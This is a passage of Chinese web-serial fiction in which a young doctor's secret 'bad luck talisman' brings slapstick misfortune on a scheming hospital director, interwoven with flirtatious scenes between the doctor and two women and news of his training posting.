“小玉，别闹。”方晓感觉自己已经有了变化，微微恼怒。 虽然他觉得身边的许玉很香甜，但这是在医院里！ 许玉感受到方晓身体的微妙变化，嘴角勾起一抹得逞的狡黠笑意。 她非但没有因为方晓的训斥而收敛，反而借着人群都在看王成发，没有人顾及到自己的时候将温暖的身子又贴近了方晓几分。 许玉就像是方晓的一个挂件，柔若无骨。 "我才没闹呢..."她声音带着甜腻的鼻音，指尖状似无意地划过方晓白大褂后背边缘。 她的动作轻得像是在整理衣料，却让方晓清晰地感受到她指腹的温度透过薄薄的布料传来。 方晓的喉结滚动了一下，许玉立刻捕捉到这个反应。 她装作站不稳的样子，半边身子倚靠在他手臂上。 夏季薄裙的衣料根本挡不住少女肌肤的热度，方晓甚至能感觉到她身体的起伏节奏。 "方医生，我有点头晕..."她仰起脸，嘴唇距离他的下颌只有寸许。 说话时呼出的气息带着香味唇膏的甜香，若有若无地拂过方晓的颈侧。她的睫毛轻轻颤动，在眼下投下一片撩人的阴影。 她的手指悄悄攀上方晓的臂弯，小拇指似有若无地摩挲着他肘关节内侧的位置。 这个动作被她的长发完美遮挡，却让方晓的呼吸明显乱了节奏。 "扶我去外面坐会好不好？"她压低声音，舌尖轻轻润过下唇。 裙摆随着她微微扭腰的动作轻轻晃动，擦过方晓的裤管，发出细微的沙沙声。 方晓能感觉到她身上散发出的体温和淡淡的沐浴露香气，与医院消毒水的气味形成鲜明对比。 许玉似乎很满意他的反应，又往他耳边凑近了些，嘴唇几乎要碰到他的耳廓："就一会儿...没人会注意的..." “再闹我生气了！”方晓低声说道。 可他的声音里却没有严厉，只有些尴尬。 因为方晓注意到老许头的目光扫过来，看了自己一眼。 但老许头随即背着手，拿着烟袋锅子，一脚踹在患者家属的肚子上。 这次老许头很用力，把患者家属踹的“哎呦”了一声。 “你就作死吧！”老许头骂道。 “我，我……” “你什么你！”老许头居高临下看着患者家属。 “我不敢了，不敢了！” “我又不是你爸，也不是你爷爷，管不着你。”老许头啐了一口。 口水直接喷在患者家属的脸上。 他躲都没敢躲，也没敢擦。 王成发的惨叫声传来，患者家属被吓的不断的打哆嗦，又被老许头天神降临一般的怒吼，直接腿一软，跪在老许头面前。 “叔，叔……” “滚蛋！我没你这么不争气的后生。”老许头鄙夷道，“来医院是看病，咱不是骗子。大老爷子走在人世间，就要堂堂正正！” “叔，是他，是他！！”患者家属指着王成发，颤声说道，“叔，真的是他，他跟我说只要让二小子一直说疼，就能讹医院一大笔钱。” 老许头闻言脸色骤变，沟壑纵横的脸上每一道皱纹都绷紧了。 他走过想要一把揪起王成发，但他枯瘦的手背上青筋暴起，最后却是没动，而是低头居高临下的看着王成发斥道："好你个老东西！拿病人的痛苦当买卖？" 王成发脸上还挂着鼻涕眼泪，突然被揭穿，整个人都僵住了。他嘴唇哆嗦着，眼珠子乱转，活像只被掐住脖子的鸡。 他想要解释一下，但肚子剧烈的疼痛让王成发痛不欲生。 "叔！"患者家属扑通一声跪下了，膝盖砸在刚擦过的地砖上发出闷响，"我家二小子当时是真疼啊！王成发说...说这样能多赔点钱给孩子治病..." 走廊里突然安静得可怕。闪光灯不再闪烁，记者们面面相觑。有个戴鸭舌帽的摄像悄悄放下了机器。 方晓的白大褂还敞着，领带歪在一边。他看见张珈榕不知何时又折返回来，正倚在消防栓旁边冷眼旁观。她的高跟鞋尖有节奏地轻点地面，像在倒数什么。 老许头突然松开王成发，转身对着墙狠狠踹了一脚。年久失修的墙皮簌簌落下，露出里面发黄的腻子。 "造孽啊！"老许头的声音沙哑得像砂纸摩擦，"你们这些黑心肝的...知不知道大夫们为了救人几天几夜不合眼？" 患者家属瘫坐在地上，突然开始扇自己耳光。清脆的巴掌声在走廊里回响，一下，两下。 王成发趁机想溜，但他动不了，只能在地上打滚。 张珈榕这时才慢悠悠地走过来，高跟鞋踩出一串清脆的声响。她看了一眼王成发，轻声和老许头说道："这位老先生，消消气。这事...我们医务科会处理。" 她的目光扫过方晓凌乱的衣领，在许玉通红的眼睛上停留了一秒，最后落在王成发惨白的脸上。嘴角勾起一个冰冷的弧度。 许玉的手指无意识地绞着衣角，指节因为用力而发白。 她微微抬起下巴，用一种近乎防御的姿态迎上张珈榕的目光——那眼神里藏着针尖般细小的敌意，却又带着年轻女孩特有的怯意。 当张珈榕的目光扫过她时，许玉不自觉地挺直了脊背，像只竖起毛发的小兽。 她的视线飞快地从张珈榕一丝不苟的发髻，滑到对方熨烫平整的白大褂，最后定格在那双价值不菲的高跟鞋上。一抹不易察觉的自卑从她眼底闪过，随即被倔强取代。 她往方晓身边靠了半步，这个细微的动作像在无声地宣示主权。但当她注意到张珈榕唇角那抹似有若无的冷笑时，又像被烫到似的稍稍退后。 许玉的呼吸变得有些急促，胸口微微起伏。 她盯着张珈榕整理检查单的修长手指，突然低头看了看自己的指尖，下意识地把手藏到了身后。 但下一秒，她又像赌气似的突然伸手，拉住方晓的衣袖，动作刻意放慢，仿佛在向张珈榕示威。 只是当她的余光瞥见张珈榕依然从容不迫的神情时，整理衣袖的动作突然变得慌乱起来。 许玉的耳尖悄悄红了，既因为羞恼，也因为某种说不清道不明的挫败感——她突然意识到，自己这些幼稚的举动，在那个女人眼里恐怕就像小孩子过家家一样可笑。 第121章 我，不会放过你的 第一百二十一章 我，不会放过你的 120急救人员推着担架车冲进走廊时，为首的护士猛地刹住了脚步。 她瞪大眼睛，口罩上方的眉头皱成了疙瘩："这...这不是王主任吗？" 王成发此刻已经完全没了平日的威风，白大褂沾满了污秽，眼镜歪在一边，镜片上糊着可疑的黄色污渍。 他还在无意识地动着，嘴里含糊不清地嘟囔着什么，活像条被扔上岸的鱼。 说是惨不忍睹绝对不为过。 "让开！都让开！"急救医生挤到人群，蹲下身时差点被臭味熏了个跟头。 他强忍着反胃，伸手去检查王成发的瞳孔，结果被突然挥舞的手臂结结实实扇了一巴掌。 "按住他！"医生捂着发红的脸颊吼道，"小刘，准备镇静剂！" 急诊医生不光被抽了一个大逼兜，脸上还沾了点不明物体。 两个护士扑上去想制住王成发，却被他一个翻身甩开。 王成发的皮带不知什么时候松开了，西裤滑到胯骨，露出半截印着卡通图案的内裤——这滑稽的画面让几个年轻护士憋笑憋得肩膀直抖。 角落里，医务科的小张突然举起手机："张科长，要、要不要拍下来当证据？" "不用了。"张珈榕冷冷的说道，"赶紧帮忙！王主任……这像什么话！" 张珈榕不知何时已经戴上了橡胶手套，她利落地撕开一支注射器包装，动作娴熟得像做过千百次。 许玉看着护士修长的手指推动针管排空气泡的样子，不自觉地咬住了下唇。 "5mg地西泮。"张珈榕把针剂递给急救医生，声音平静得仿佛在讨论今天的天气，"他应该是癔症发作。" 就在这时，王成发突然一个鲤鱼打挺，脏兮兮的皮鞋正好踹在急诊医生膝盖上。急诊医生疼得倒吸冷气，白大褂"刺啦"一声被墙角的消防栓刮破了更大口子。 地西泮静脉注射后，王成发却没有丝毫的安静，他声嘶力竭的吼着，像是刚从地狱里爬出来的魔鬼。 急救医生被踹得踉跄后退，撞在墙上发出沉闷的响声。 他白大褂上顿时多了个清晰的鞋印，膝盖处的布料裂开一道口子让他看起来有些狼狈。 "按住他！"张珈榕冷声喝道，声音像手术刀般锋利。她一把扯开新的镇静剂包装，玻璃安瓿在她指间"啪"地折断。 三个保安扑上去按住王成发四肢，却被他一个猛烈的动作掀翻。 王成发此刻面目狰狞，眼球布满血丝，嘴角挂着白沫，活像头失控的野兽。 他的领带绞在脖子上，勒出一道紫红色的淤痕。 "再加5mg咪达唑仑！"急救医生喘着粗气喊道，手里已经准备好了约束带。 张珈榕的动作干净利落，针头精准地刺入王成发肘静脉。 推药时她微微蹙眉，看着药液缓缓注入血管。王成发的挣扎渐渐变得无力，但喉咙里仍发出低沉的、野兽一般的呜咽。 突然，他充血的眼睛死死盯住方晓，被唾液浸湿的嘴唇蠕动着："你们...都要...付出代价..." 王成发的声音嘶哑得不像人类。 许玉吓得倒退两步，后背抵上冰冷的墙壁。 她看见王成发被按在地上的右手青筋暴起，指甲在地砖上抓出几道白痕。更骇人的是，他白大褂口袋里滑落出一把手术剪，锋利的尖端在灯光下闪着寒光。 老许头一脚把手术剪踢开，金属碰撞声在死寂的走廊里格外刺耳。"造孽啊..."老人摇着头，花白的鬓角被汗水浸透。 许玉的后背紧贴着冰凉的瓷砖墙面，胸口剧烈起伏着。 她下意识地寻找依靠，手指在身后摸索着，突然触到一片温热的布料——是方晓的白大褂下摆。 方晓察觉到她的颤抖，不动声色地向后退了半步。 他的后背几乎贴上许玉的前胸，隔着两层衣料，能清晰感受到女孩急促的呼吸喷在自己肩胛骨上。 许玉的指尖悄悄攥紧了方晓的衣角，指节因用力而发白。 "没事的。"方晓微微偏头，声音压得极低，温热的吐息拂过许玉的耳廓。 他藏在白大褂下的手向后探去，精准地握住了许玉冰凉的手指。 许玉的耳尖瞬间烧了起来。她盯着方晓近在咫尺的后颈，那里有一绺不听话的黑发垂在衣领上，随着他的呼吸轻轻颤动。消毒水的气息里混着他身上特有的味道，像是晒过太阳的白衬衫。 张珈榕突然转头看向这边，锐利的目光在两人交叠的手上停留了一瞬。 许玉条件反射地想抽回手，却被方晓更用力地握住了。他的拇指在她掌心轻轻一刮，激起了许玉心中一阵细微的涟漪。 "约束带。"张珈榕冷冽的声音打破了这微妙的时刻。 许玉这才发现王成发已经被五花大绑在担架上，但那双充血的眼睛仍死死盯着这边，嘴里不断吐出含混的咒骂。 方晓终于松开手去帮忙，转身时白大褂衣摆扫过许玉的裙面。许玉低头看着自己方才被他握过的手，掌心还残留着温热的触感。她慢慢蜷起手指，像是要留住这点温度。 走廊那头，张珈榕正弯腰捡起王成发掉落的胸卡。 她直起身时，目光穿过混乱的人群，与许玉四目相对。许玉不自觉地挺直了脊背，将那只留有方晓温度的手悄悄藏到了身后。 张珈榕指尖夹着那张沾了污渍的胸卡，缓步穿过人群。 她的高跟鞋在大理石地面上敲出清脆的节奏，每一步都像是精心计算过的距离。许玉感到一阵无形的压迫感袭来，后背不自觉地绷得更直了。 "这位。"张珈榕在距离两步远的地方站定，声音像浸了冰的丝绸，"医院现在很乱，建议您去休息区等候。" 她的目光若有似无地扫过许玉藏在身后的手，唇角勾起一个几不可见的弧度。 许玉感到一阵燥热爬上脸颊，却倔强地抬起下巴："谢谢张科长关心，我在这挺好的。"她故意往方晓身边靠了半步，裙摆轻扬，像是一朵盛开的鲜花。 “方医生，你不错。”张珈榕走过来，看也不看许玉，淡淡说道，“进修的事情，你没找我，那我着手给你联系了。” 第122章 二伯，我配不上方医生 第一百二十二章 二伯，我配不上方医生 许玉听到“进修”这个词的时候的手指无意识地绞紧了衣角，指节因用力而泛白。 她仰头看向方晓，睫毛在灯光下投下一片颤动的阴影："你要去……进修？什么时候的事？" 方晓的喉结滚动了一下，白大褂领口处露出一截微微发红的脖颈："最近一直在犹豫。" "院里杰出医生培养计划。"张珈榕干脆利落地打断了方晓的解释。 她伸手，身边小科员把平板电脑递过来。 张珈榕的指尖在平板电脑上轻点两下，调出一份文件，"半年时间，省中医院。" 她的声音平静得像在陈述一个再普通不过的病例，眼神却牢牢锁住方晓的反应。 许玉感觉一股凉意从脚底窜上来。她伸手想拉方晓的衣袖，却在半空中停住了，手指蜷缩着收回身侧："半年...这么久吗？" 走廊的阳光突然变得刺眼起来。方晓避开许玉的目光，转向张珈榕："我还没有想好。" "三天，你没有回复，我已经和孙院长汇报过了，孙院长特批。"张珈榕合上平板，金属边框发出"咔"的一声轻响，"下周一。" 许玉的呼吸明显急促起来。 她盯着张珈榕白大褂上别着的原子笔，那支笔在阳光下闪着冰冷的光泽。 突然，她伸手拽住了方晓的白大褂口袋："哥，我...我有话跟你说。" 张珈榕挑了挑眉，抬手看了眼腕表："十分钟后急诊科交班。"她转身时高跟鞋在大理石地面上旋出半个圆弧，"方医生，别忘了去参加交班，我去跟宋主任先沟通一下。" 这句话飘过来，像是个不容拒绝的命令。 等张珈榕的身影消失在转角，许玉立刻把方晓拉到消防通道。昏暗的楼梯间里，她的眼睛亮得惊人："你真的要走？"声音里带着自己都没察觉的颤抖。 方晓的手掌贴上她身后的墙壁，白大褂袖口擦过她的脸颊："只是暂时的，去进修半年，你知道我在急诊科学不到什么。" "半年不是暂时！"许玉突然提高音量，又急忙压低，"她……张科长是不是……"话到嘴边却变成了一声哽咽。 方晓低头看着许玉通红的眼眶，突然伸手拂去她眼角将落未落的泪珠。 这个动作让两人都愣住了。 透过薄薄的门玻璃，可以看见张珈榕站在护士站前翻看病历的身影，笔直的背影像一把出鞘的手术刀。 "我会回来的。"方晓最终只说出这一句，手指还停留在许玉的脸颊边，沾染了一点温度。 楼梯间的应急灯忽明忽暗，将两人的影子投在墙上，时而重叠，时而分离。 “我先去交班。”方晓觉得他和许玉之间的距离太近了，马上笑了笑，“你回家吧。” 说着，方晓转身离开。 许玉咬着下唇，她是如此用力，贝齿深深陷入到红唇之中。 “小玉。” 过了不知道多久，老许头推门招呼许玉。 “二伯。” “方医生怎么了？” 许玉猛地回过神，松开咬得发白的下唇，上面已经留下一排深深的齿痕。 她强挤出一个笑容："没……没什么。二伯，方医生他要去省城进修了。" 老许头眯起眼睛，粗糙的手指摩挲着下巴上的胡茬："这事儿啊，那你发什么呆。" 他盯着许玉泛红的眼眶，哭笑不得，"省城也不远，大不了你去省城一起就得了呗，你这面随便去，可那个张科长就去不了。这是，好事。" 许玉的眼睛倏地亮了起来，却又很快黯淡下去。她绞着衣角，声音细得像蚊子哼："二伯，我真的要去么。" 许玉绞着抹布的手指突然停住了，水珠滴滴答答落在地板上。她低着头，声音闷闷的："二伯，我觉得你说的有道理。" 老许头颔首："我跟你说，这不正好！那小子屋里乱得跟猪窝似的，离了你连双干净袜子都找不着！"他掰着粗糙的手指头数，"洗衣做饭、打扫卫生、浇他那几盆破花..." 许玉缩了缩脖子："可医院宿舍不许外人随便进出的吧。" "放屁！"老许头一嗓子吼得护士站的小护士直缩脖子，"你问问那小子，他阳台上那几件衬衫是谁给熨的？冰箱里饺子是谁包的？" 他突然压低声音，带着几分狡黠，"听说省城那边公寓贵得很，不过对咱们来讲，不算事儿。" 许玉的眼睛突然亮了起来，像突然被点亮的星子。 "我...我可以..."她的声音越来越小，耳尖却红得透亮。 “肯定要去。”老许头拎着烟袋锅子，但是没点，毕竟医院里禁止吸烟，他也不敢惹方晓生气。 “我看见张科长和方医生之间有点关系，单身男女么，都正常。” "不过啊。"老许头突然压低声音，朝许玉挤挤眼，"我瞅着张科长那性子，怕是连袜子都要按颜色编号的主儿。" 他做了个夸张的哆嗦动作，"方晓那小子最烦条条框框，你是没见过他屋里的乱劲儿就知道。" 许玉捏着裙角手指松了松，目光不自觉地追随着方晓离去的方向看着。虽然方晓的身影早已经消失，可许玉就是这么认真的看着。 "再说了，"老许头用烟袋锅子虚点了点，"去省城，对你来讲是少了个竞争对手的事儿。 咱什么条件小玉你心里最清楚，方医生可是良配。你别耍小性子，你不要，有的是人要。" 许玉的指尖在裙摆上无意识地划出一道褶皱，像是要把心里那点酸涩都揉进布料里。她盯着方晓消失的转角，那里还残留着一丝消毒水混合着青柠须后水的气息——是他惯用的味道。 "二伯..."她声音轻得像飘落的柳絮，"我知道我配不上方医生。" 老许头的烟袋锅子"咚"地敲在她脑门上："傻话！郎才女貌，我家小玉哪里配不上！" …… 方晓站在急诊抢救室的门口，看着里面杀猪一样叫喊的王成发，没有丝毫情绪。 老许头有件事说得对，或许这就是报应吧。 正想着，王成发忽然挣脱了束缚带，从床上掉下去。 第123章 倒霉透顶 第一百二十三章 倒霉透顶 砰~~~ 一声巨响。 王成发近两百斤的壮硕身躯从抢救室的病床上重重摔下，连带着心电监护仪的导线都被扯断，机器发出刺耳的警报声。 方晓站在墙角，感觉脚下的地砖都在震颤，输液架上的药瓶"咣当"碰撞。 "呃啊——！"王成发捂着后腰嚎叫，声音在急诊室的白色墙壁间回荡。 他试图撑起身子，右手却按在了护士刚才不慎掉落的玻璃安瓿瓶上，碎碴瞬间扎进掌心，"靠！这破医院！" 方晓死死咬住嘴唇内侧，眉开眼笑。 虽然已经经历过无数次，但方晓还是要感慨【霉运符】的效果居然这么立竿见影。 心电监护的警报引来了值班护士。 王成发骂骂咧咧地想爬起来，却一脚踩中自己刚才呕吐时弄湿的床单，"哧溜"一滑，整个人向前扑去—— 哐当！ 哗啦啦！ 他的额头结结实实撞在金属输液架上，同时手肘扫翻了处置车，碘伏、酒精和棉签盒噼里啪啦砸在他身上。 最绝的是那瓶开盖的生理盐水，不偏不倚倒扣在他头顶，冰凉的液体顺着他的板寸头往下淌，把病号服浸得透湿。 "呕...咳咳..."王成发想撑起身子，手掌却按在了自己刚才连拉带吐的秽物上，顿时又干呕起来。 他胡乱抓住窗帘想借力，却把整根轨道扯了下来，铝合金杆"咣"地砸中他肿着的脚踝。 方晓从抢救室外面看得真切。 王成发此刻头顶滴着生理盐水，左手掌心插着玻璃碴，右脚踝肿得像馒头，病号服裤子因为刚才的剧烈动作裂开了裆，露出印着卡通的内裤。 "见鬼了……"王成发扶着墙想站起来，突然"刺啦"一声，后背的监护电极片连线被他自己踩住，病号服从领口直接撕到后腰，露出满是痤疮的肥厚后背。 更精彩的是这时抢救室的门突然被推开，实习医生端着刚抽的血标本冲进来，被地上的液体一滑，整盘血试管天女散花般泼在王成发身上。 五管不同颜色的血液在他胸前晕开，活像抽象派油画。 "你特么的没长眼啊！！"王成发怒吼。 平时吆五喝六惯了，王成发下意识的吼叫着。 只是腹部的剧烈疼痛让王成发瞬间又打蔫，像是要瘟死的鸡。 而下一秒，天花板上的消防喷淋头突然启动，消毒水劈头盖脸浇下来，正好冲进他张大的嘴里。 方晓急忙背过身去，肩膀不住抖动。 宋主任带人连忙去看王成发，他也一头雾水。 王成发王主任这也太倒霉了，本来绑着束缚带，应该万无一失，可谁知道这位竟然真的从床上摔下去。 "这都什么事儿..."宋文卿皱着眉头快步走来，白大褂下摆随着步伐翻飞。 他蹲下身查看王成发的状况，却被一股酸臭味熏得直皱眉。 一向注意外在形象的王成发就像是天桥下的要饭的，别说是形象，他身上的味道连狗都得躲着走。 "呕～" "噗嗤～" 王成发面色铁青，突然一阵剧烈的干呕，紧接着就是一阵令人尴尬的声响。 他的病号裤后面迅速洇开一片可疑的黄色污渍，刺鼻的气味在抢救室里弥漫开来。 "快！把王主任抬上去！"宋文卿强忍着反胃指挥道，同时不动声色地往后挪了半步。 两个男护士上前，一人架住王成发一条胳膊。 就在他们用力时，"刺啦"一声，王成发病号服的袖子竟然从肩缝处整个撕开，露出他毛茸茸的粗壮手臂。 "啊！我的腰！"王成发痛呼一声，原来刚才摔倒时他的腰椎正好硌在了输液架的底座上。 他挣扎着想自己使力，却不小心一脚踩在了地上的呕吐物上，再次滑倒。 这次他整个人扑向了宋文卿。 宋主任根本没有想要接一下的想法，只是他反应略微慢了一点，虽然躲开了王成发，但却被王成发一把抓住。两人一起摔在地上，宋文卿的白大褂顿时沾满了呕吐物和不明排泄物。 "王主任...您先...起来..."宋文卿被压得脸色发紫，说话都困难。 就在这时，天花板上的消防喷淋头喷出来的冰冷的水柱忽然加强，将两人浇了个透心凉。王成发被水一激，又是一阵剧烈的腹泻，黄色的污秽物顺着裤管流到了地板上。 "快！快帮忙！"护士长惊呼着冲过来，却不小心踢翻了地上的污物桶，消毒液混合着各种液体在地面形成一滩诡异的彩虹色水洼。 一个实习医生推着轮椅赶来救援，结果轮子打滑，整张轮椅像碰碰车一样撞向了躺在地上的王成发。 "砰！" 方晓站在角落里，看着这出荒诞的闹剧，嘴角不受控制地抽搐。 “王主任怎么这么倒霉。”张珈榕在方晓耳边问道。 方晓感觉一阵温热的呼吸拂过耳畔，带着淡淡的栀子花香。 他微微侧头，发现张珈榕不知何时已经贴得极近，白大褂的领口微微敞开，露出一截精致的锁骨。 一缕阳光斜斜穿过抢救室的玻璃窗，恰好落在张珈榕身上。 阳光像融化的糖块，带着甜甜的味道，在她腻白的肌肤上流淌，将白大褂下的轮廓勾勒得若隐若现。 方晓的视线不自觉地追随着那道光线。 他看到阳光爬上她纤细的颈项，在锁骨凹陷处蓄成一汪金色的池水。随着她整理听诊器的动作，白大褂领口微微晃动，惊鸿一瞥间能看到更深处的雪白肌肤。 "好看吗？"张珈榕突然抬眸，红唇微启。 阳光在她唇上镀了一层水光，像是沾了晨露的玫瑰。她故意放慢动作，指尖在领口处流连。 方晓的喉结滚动了一下。 他看见阳光穿透她薄薄的耳廓，将耳垂照得近乎透明，能看清细小的血管。她耳后的碎发被染成金棕色，随着呼吸轻轻颤动。 张珈榕忽然倾身，阳光便顺着她的动作流淌到方晓身上。 她身上消毒水与栀子花混合的香气瞬间将他包围。 "这么专心。"她轻笑，呼出的气息带着薄荷糖的清凉，"不如，方医生你凑近些看？" 第124章 我宣布两件事 第一百二十四章 我宣布两件事 她的手指搭在长发上，细长的手指卷起长发。 阳光从两人之间的缝隙漏下，在地砖上投下暧昧的光斑。远处王成发的哀嚎、医护人员的呼喊都变得遥远模糊。 方晓看见她睫毛在阳光下投下的阴影，像蝴蝶振翅般轻颤。她的瞳孔在强光中收缩成小小的黑洞，却映着完整的自己。 “那个小姑娘是你什么人？”张珈榕问道。 她的声音压的很低，在方晓耳边呢喃，像是在撒娇，又像是在吃醋。 “是我家邻居。”方晓回答道。 “邻居？未必吧。”张珈榕嘴角露出一丝洞察一切的笑容。 许玉对方晓的态度可不仅仅是邻家小妹一样简单，而且方晓的态度有些值得玩味。 “是邻居，那个老许头是她二伯，我找来的。”方晓不动声色的回答道。 “！！！”张珈榕心中一凛，之前的种种想法顿时烟消云散。 原来自己小看了方晓。 方晓说患者三天就好，不光是治病，也不仅仅是治病，竟然还安排了后手！ 而他安排的后手起到了至关重要的作用。 张珈榕遗憾地撇嘴，换了一个姿势。阳光随着她的移动变换角度，将她白大褂下的腰臀曲线勾勒得分明。 方晓看的清清楚楚，今天的张科长好像和平时不一样呢？难道说她在跟许玉那个小丫头作比较？ "可惜..."她转身时回头瞥了一眼，阳光正好照亮她半边侧脸，将唇角的笑意照得格外清晰，"下次，我们找个...更亮的地方？" "就不用了吧。"方晓压低声音回答，喉结不自觉地滚动了一下。他感觉到张珈榕的手指若有似无地擦过他的手背，像羽毛般轻盈。 张珈榕的红唇几乎要贴上他的耳垂，声音带着若有似无的笑意："你看起来...好像知道些什么？"她的指尖顺着他的手腕内侧缓缓上移，在脉搏处轻轻一按。 “咦？心跳很快啊。”张珈榕调笑道。 方晓呼吸一滞。 抢救室里乱作一团，却仿佛与他们无关。 他能清晰地数清张珈榕的睫毛，看到她瞳孔里映着的自己。消毒水的气味中，她身上的香水味显得格外撩人。 “方医生，进修的事情就说好了。”张珈榕笑吟吟的说道，“最近我总觉得医院里有点乱，郝院长，王主任，郝强什么的接二连三的生病。” 方晓没说话。 这种话根本没办法接，无论自己是肯定还是否定，都会引起旁人的注意。 张珈榕忽然秀眉微蹙，纤纤玉指轻掩口鼻。 那手指修长如玉，在阳光下泛着细腻的瓷光，指甲修剪得圆润精致，涂着淡淡的白色甲油，像初绽的樱花瓣。 "王主任最近拉肚子有点频繁呢..." 张珈榕压低声音，尾音带着若有似无的轻颤。 说话时，她的指尖在唇边流连，贝齿若隐若现地轻咬了一下食指关节，留下一个浅浅的牙印。 方晓不自觉地盯着她手指的动作。 那双手优雅地解开白大褂最上面的纽扣，露出颈间一小片雪肤。 她故意将散落的发丝别到耳后，手腕内侧淡青色的血管在薄薄的皮肤下若隐若现。 远处传来王成发又一轮腹泻的声响，但这会儿方晓只听见自己剧烈的心跳。 张珈榕的手已经滑到他背后腰侧，隔着衬衫布料都能感受到那指尖的温度。 她对自己动手动脚的，方晓却没有拒绝，谁又会拒绝这份悄悄的感受呢。 "我昨晚值班，还指挥了一场抢救，都没睡好。"她红唇微启，吐息如兰，"好累呢。" 说着整个人似有若无地靠过来，发丝扫过方晓的下巴，带着洗发水的清香。 方晓的手不受控制地抬起，几乎要抚上她的腰肢。 就在这时，张珈榕却灵巧地后退半步，留下若有似无的栀子花香在空气中飘荡。 几分钟后。 王成发暂时被控制住，只是偶尔的“噗嗤”声音响起。 宋主任有些恼怒，他身为急诊科主任抢救无数，第一次遇到像王成发一样的患者。 虽然说医生已经习惯了屎尿屁的工作环境，可王成发这也太脏了一些吧。 “你你你~”宋主任点了三个人去照顾王成发。 现在王成发毕竟是患者，还是需要有人照顾的。再加上刚刚从病床上摔下去…… 宋主任一想起王成发的爱人薅头发直接咽下去的“泼辣”劲儿，就觉得头疼。 他甚至认为王成发是疯了，准备讹医院。 来到办公室，宋主任一遍一遍的洗手。 张珈榕也站在一边，宋主任还是相当谨慎。 “宋主任，你们先交班，然后我说件事。”张珈榕又恢复了冷若冰山的样子。 宋文卿连忙招呼夜班医生护士交班。 简单说完，宋文卿看向张珈榕，“张科长，您讲。” 张珈榕冷若冰霜，也不客气，淡淡说道，“王主任你们看好。” 急诊科从上到下，从宋主任再到进修的小护士都愁眉苦脸。 “病房有患者家属指控王主任在背后撺掇，让患者家属告咱们医院。”张珈榕淡淡说道。 “？？？” “？？？” “具体还没查明真相，一定要给王主任个交代，还他清白。”张珈榕的声音像淬了冰，修长的手指轻叩办公桌，指甲在阳光下泛着冷冽的光泽。 急诊科的办公室里顿时鸦雀无声。 宋文卿额角渗出细密的汗珠，白大褂下的衬衫已经湿透。角落里，一个实习护士手中的病历夹"啪嗒"一声掉在地上。 "这...这不可能吧？"宋文卿声音发颤，"王主任虽然脾气差了点，但……" 阳光从百叶窗缝隙斜射进来，将她半边脸映得雪亮，另外半边却隐在阴影里。她耳垂上的钻石耳钉闪着寒光，像把锋利的手术刀。 张珈榕没说话，可她的表情却异常冷酷无情。 宋文卿腿一软，直接瘫坐在椅子上。整个急诊科陷入死一般的寂静，只有监护仪发出的"滴滴"声格外刺耳。 方晓悄悄后退半步，手心里全是冷汗。他看见张珈榕的目光若有似无地扫过自己，红唇微启，无声地做了个口型。 “下一个。”张珈榕微微一笑，冰霜化作漫天烟花，“孙院长的意见，方医生去省城进修。” 第126章 关门弟子 第一百二十六章 关门弟子 张珈榕的红唇忽然勾起一抹危险的弧度，在急诊室惨白的灯光下显得格外妖冶。 她指尖夹着的原子笔轻轻一转，突然将手搭在了方晓的后背上。 那只手先是若有似无地贴着白大褂的布料，随后五指微微收拢，指尖透过衣料传来灼热的温度。 张珈榕的拇指沿着方晓的脊椎缓缓上移，在第三节胸椎处不轻不重地按了一下，激得方晓浑身一颤。 "别动。"她凑近耳语，呼吸带着淡淡的薄荷糖气息喷在他耳廓上。 那只手继续向下游走，在腰际徘徊，小指似有若无地勾住了他的腰带。 方晓能清晰地感受到她修剪圆润的指甲隔着衣料划过背肌的触感，像猫爪轻轻挠过。 她的手掌在后腰处停留片刻，突然用力一按，将他推向自己。两人身体相贴的瞬间，她又灵巧地侧身避开，只留下若有似无的橙花香气。 "你这里有根头发。"她若无其事地后退半步，指尖捻着一根根本不存在的发丝。 红唇微启，舌尖轻轻舔过上唇，留下异样的光泽。 在众人看不到的角度，她朝方晓眨了眨眼，睫毛在灯光下投下诱惑的阴影。 那只作乱的手已经收回白大褂口袋，只有方晓后背残留的灼热感证明刚才的一切不是幻觉。 远处传来王成发又一轮呕吐的声音，但此刻急诊室的这个角落，空气却灼热得几乎要燃烧起来。 张珈榕忽然一本正经起来，方晓微微一怔，猛然看见孙院长走进来。 “院长。”张珈榕微笑走过去，端庄而典雅，完全不见方才把手放在方晓后背上的那位张科长的模样。 “嗯，和方医生说完了吧。”孙院长满脸都是笑容，对方晓招了招手。 孙院长和蔼地朝方晓招了招手，眼角堆起慈祥的纹路："小方啊，过来过来。" 方晓快步上前，白大褂下摆随着步伐轻轻摆动。 张珈榕已经退到一旁，双手优雅地交叠在身前，脸上挂着得体的微笑，仿佛刚才那个在他后背作乱的女人从未存在过。 "听说你这段时间表现很出色啊。"孙院长拍了拍方晓的肩膀，手指在他肩章上轻轻掸了掸并不存在的灰尘，"省城中医院的进修名额，院里决定推荐你去。" 阳光从窗户斜射进来，落在院长花白的鬓角上。 他从胸前的口袋里掏出一封推荐信，郑重地递到方晓手中："这可是个好机会，跟着李教授学习，对你将来的发展大有裨益。" 方晓接过信封时，余光瞥见张珈榕的指尖在白大褂口袋里轻轻敲击，节奏像是某种摩斯密码。 她的表情依然端庄，只有眼底闪过一丝晦暗不明的情绪。 "谢谢院长栽培，我一定努力学习，不辜负院长您的信任。"方晓微微欠身，手中的信封散发着淡淡的墨水香。他注意到信封右下角印着省城中医院的烫金院徽，在阳光下闪闪发亮。 孙院长又叮嘱了几句注意事项，声音温和却充满力量。 张珈榕适时地递上一份进修资料，手指在交接时"不小心"划过方晓的手腕，冰凉的触感转瞬即逝。 "好好把握这个机会。"院长最后拍了拍方晓的后背，方晓往前微微挪动了半步，正好站到了张珈榕身边。 她的香水味若有似无地飘过来，混合着院长身上淡淡的茶香。 孙院长说着，从公文包里珍而重之地取出一张烫金名片，递到方晓手中："这位是省中医院的李墨生教授，全国中医内科的泰斗级人物。" 名片在阳光下泛着雅致的哑光，上面简简单单印着"李墨生"三个瘦金体字和一行电话号码，没有任何头衔修饰，却透着不容忽视的分量。 方晓的指尖触到名片边缘特殊的凹凸纹理——那是手工宣纸特有的质感。 "李老已经八十有三，早就不带学生了。"孙院长压低声音，眼角笑纹舒展开来，"我可是求了老同学三次，才说动他破例收你这个关门弟子。" 他说着从内袋掏出一封泛黄的信封，"这是李老亲笔写的推荐书目，你先好好研读。" 张珈榕站姿笔挺，白大褂下摆纹丝不动，唯有在接过院长公文包时，小指若有似无地蹭过方晓的手背。 "李老的"三才针法"是国家级非物质文化遗产，"孙院长微微吁了口气，笑着说道，"你跟着他学，要记住"三更灯火五更鸡"的苦功。" 窗外一阵风过，掀动方晓手中的书单。 